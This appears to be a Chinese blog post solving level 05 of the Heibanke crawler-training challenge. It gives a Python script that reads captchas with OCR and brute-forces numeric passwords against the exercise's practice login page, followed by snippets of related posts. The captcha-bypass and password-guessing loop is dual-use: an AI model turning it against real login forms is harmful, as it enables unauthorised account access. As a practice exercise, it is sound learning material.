黑板客 -- 爬虫闯关 -- 关卡05

简介

爬虫闯关链接:

1. ?http://www.heibanke.com/accounts/login/?next=/lesson/crawler_ex04/

2.? http://www.heibanke.com/lesson/crawler_ex04/

3.? http://www.heibanke.com

知识点:cookie & session , csrf , Web编程,验证码识别模块

提示:本题相较之于前4题的难度在于验证码识别问题,为了方便起见,就用了网络上现成的pytesser模块,PIL模块64位Python安装时可能会遇到一点小麻烦,尽量使用32位Python。

pytesser模块安装及使用参考资料:

1. http://blog.csdn.net/evankaka/article/details/49533493

2. http://blog.csdn.net/tianxiawuzhei/article/details/44922843

3. http://blog.csdn.net/bigzhao_25/article/details/52350781

参考代码


#!/usr/bin/env python
# encoding: utf-8

import requests
import sys
import re
import threading
from pytesser import *  

reload(sys)

sys.setdefaultencoding("utf-8")

csrf = ""
username = "Peter"
password = "112233"
captcha_0 = ""
captcha_1 = ""
attack_password = ""

website_login = "http://www.heibanke.com/accounts/login/?next=/lesson/crawler_ex04/"
website_attack = "http://www.heibanke.com/lesson/crawler_ex04/"
website_imageBase = "http://www.heibanke.com"

payload_login = {
    "username":username,
    "password":password,
    "csrfmiddlewaretoken":csrf
}

payload_attack = {
    "username":username,
    "password":attack_password,
    "csrfmiddlewaretoken":csrf,
    "captcha_0":captcha_0,
    "captcha_1":captcha_1
}

s = requests.Session()
s.get(website_login)
csrf = payload_login["csrfmiddlewaretoken"] = payload_attack["csrfmiddlewaretoken"] = s.cookies["csrftoken"]

def Test_verCode(image_path):
    image = Image.open(image_path)
    verCode_res =  image_to_string(image)
    return verCode_res

def getVerCode(resp):
    global payload_attack
    word_captcha_1 = re.findall('<img src="(.*?)" alt="captcha" class="captcha" />', resp.content)
    word_captcha_0 = re.findall('<input id="id_captcha_0" name="captcha_0" type="hidden" value="(.*?)" />', resp.content)
    payload_attack["captcha_0"] = word_captcha_0[0]
    Image_URL = website_imageBase+word_captcha_1[0]
    return Image_URL

def downloadImage(Image_URL):
    try:
        pic= requests.get(Image_URL, timeout=10)
    except requests.exceptions.ConnectionError:
        print '[-] Image can not download '
    string = '1' + '.png'
    fp = open(string,'wb')
    fp.write(pic.content)
    fp.close()

def get_attackResp(verCode_res,attack_password,s):
    global payload_attack
    payload_attack["password"] = attack_password
    payload_attack["captcha_1"] = verCode_res[0:4:1]
    resp_attack = s.post(website_attack,data=payload_attack)
    payload_login["csrfmiddlewaretoken"] = s.cookies["csrftoken"]
    payload_attack["csrfmiddlewaretoken"] = s.cookies["csrftoken"]
    return resp_attack

def main():
    global payload_login
    global payload_attack
    global s
    resp_login = s.post(website_login,data=payload_login)
    payload_login["csrfmiddlewaretoken"] = s.cookies["csrftoken"]
    payload_attack["csrfmiddlewaretoken"] = s.cookies["csrftoken"]
    image_URL = getVerCode(resp_login)
    downloadImage(image_URL)
    verCode_res = Test_verCode('1.png')
    for i in range(31):
        resp_attack = get_attackResp(verCode_res,str(i),s)
        while True:
            if resp_attack.content.find(u'验证码输入错误'.decode('utf8')) == -1:
                break
            else:
                print "[-]VerCode ERROR: PW:" + payload_attack["password"] + " -- VERCODE:" + verCode_res
                resp_login = s.post(website_login,data=payload_login)
                payload_login["csrfmiddlewaretoken"] = s.cookies["csrftoken"]
                payload_attack["csrfmiddlewaretoken"] = s.cookies["csrftoken"]
                image_URL = getVerCode(resp_login)
                downloadImage(image_URL)
                verCode_res = Test_verCode('1.png')
                resp_attack = get_attackResp(verCode_res,str(i),s)
                continue
        if resp_attack.content.find(u'错误'.decode('utf8')) == -1:
            print "[+]FOUND PASSWORD:" + payload_attack["password"]
            print "\nTEXT:\n" + unicode(resp_attack.content).decode('utf8')
            break
if __name__ == '__main__':
    main()

原文地址:https://www.cnblogs.com/PeterZ1997/p/9735233.html

时间: 2024-11-08 22:25:16

黑板客 -- 爬虫闯关 -- 关卡05的相关文章

黑板客 -- 爬虫闯关 -- 关卡04

简介 爬虫闯关链接: 1.?http://www.heibanke.com/accounts/login/?next=/lesson/crawler_ex03/ 2. http://www.heibanke.com/accounts/login 知识点:cookie & session , csrf , Web编程,多线程密码枚举 提示:和第三题一样,看清楚,题目在http://www.heibanke.com/accounts/login/?next=/lesson/crawler_ex03/

黑板客爬虫闯关笔记(1-3关)

--首先,感谢黑板客老师做了这个爬虫闯关系列,让大家学习到不少知识. 第一关:将网页提示的数字加在网址后面 解题思路: 1.找到数字对应的html标签,用正则匹配标签内容. 2.将数字提取出来加到第一关网址后面,获取新的数字. 解题过程: 第二关: 解题思路:从0~30依次尝试登录. 第三关:在第二关的基础上加了两层保护 1.访问第三关时会跳转到一个登录页面,必须先登录(测试帐号:username:test;password:test123). 2.登录时有一个CSRF参数. 解题思路: 1.先

黑板客爬虫闯关第一关、第二关

上来先贴地址,刚入门的可以来van啊: 黑板客爬虫闯关 0x00 第一关 打开网址,看到如下页面: 先抱着试试看的心态在网址后面加上数字看看效果: 怕不是个循环,获取网页中的数字不断加到url中,验证猜想,继续试一试: ????? 那就把原来的数字换掉: 妙啊: 这里基本确定思路,获取网页内的数字,然后在将数字加入url进行循环提交 查看源码,确定获取的信息<h3>标签内,并使用re库匹配我们要的数字 import requests from bs4 import BeautifulSoup

&lt;爬虫&gt;黑板爬虫闯关02

import requests from lxml import etree ''' 黑板爬虫闯关02 网址:http://www.heibanke.com/lesson/crawler_ex01/ ''' url = "http://www.heibanke.com/lesson/crawler_ex01/" data = { 'username':"shuimo", 'password': 0, } for i in range(30): data['passw

宝来雍拓客新零售闯关游戏系统开发

宝来雍拓客闯关新零售系统开发app,找庄经理:185651879719微/电 宝来雍拓客新零售卖货引流系统开发.宝来雍拓客三三复制新零售系统开发.宝来雍拓客新零售吸粉工具系统开发.宝来雍拓客新零售消费198闯关系统开发.特别提示:本公司是软件开发公司,非平台方,玩家勿扰宝来雍系统介绍:1.宝来雍拓客体系:消费+任务闯关就能获得客户拓客游戏一共13关.2.完成3个任务,找系统自动匹配的13位商家消费16次就可以完13关.3.第一个任务就是,把卖货不求人的方法分享给3个卖货的商家才可以闯第二关.第二

网页闯关游戏(riddle webgame)--游戏玩法和整体介绍

前言: 记得上大学那会, 有位传说中的大牛, 写了一个网页闯关类的游戏. 当时我们玩得不亦乐乎, 也是第一次接触到这种形式的游戏. 不过当时纯玩家心态, 并没有想过去创造一个. 最近想起这事, 突然想复制实现一个类似的网页闯关游戏. 说干就干, 抄起家伙, 就是一顿猛打, ^_^. 期间的坎坷曲折暂且不表, 甚至中途自觉江郎才尽差点放弃, 所幸最后终于完工, 愿意和大家一起分享该游戏. 展示: 网页闯关游戏, 更多的被称为riddle, 是一种考验搜索, 推理, 分析能力的闯关模式游戏. 用户群

射击闯关游戏,旧王已死、新王当立?

射击类游戏的最佳形态是电子竞技?比如<穿越火线> 街机.单机时代的<魂斗罗>.<合金装备>等闯关型射击游戏体验,不再适合移动手游时代? 射击类游戏需要更真实.更热血,最好如昆丁塔伦蒂洛的电影一样,拳拳到肉.血浆横飞?比如<使命召唤>? 曾经占据游戏机.单机和联机游戏极大份额的射击游戏们,在移动时代只能扮演有益补充? 射击类游戏混的似乎不太好?不是没有缘故的,根本原因就是长期自由搏击,而忘记了,其实关卡才是最能吸引用户的所在? 关卡.关卡.关卡!你还在自由搏击

关于“诗词大闯关”的调查表与调查结果分析

前言: 我们小组做的项目是“诗词大闯关”,初步计划为游戏主要内容为:根据界面场景内容猜诗词名,诗词内容. 为了更深入的了解市场人民的需求,我们小组决定制作调查问卷来统计分析玩家对我们项目的关注点以及获取更多人的需求,在短短几天的时间内得到了122份有效的调查问卷. 1.首先我们统计被调查者的年龄段 根据我们的调查结果显示:96.7%的19~38岁的人群接受了我们的调查,故大部分人应该是学生族或者上班族. 2.为了更好的去处理我们的社区模块,我们小组调查了人们经常使用的社交工具 调查显示,使用QQ

网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞, 比如SQL注入攻击, XSS攻击. 本文将简述SQL注入攻击的原理, 并分享下关卡设计, 其在打开潘多拉魔盒的情况下, 又能很好地限制危害. 效果展示: 先打下广告: 网页闯关游戏入口(请狠狠地点击我, ^_^). 本文的想法实施于第十一关--健忘的教授. 很直接的呈现一个登陆对话框, 考验玩家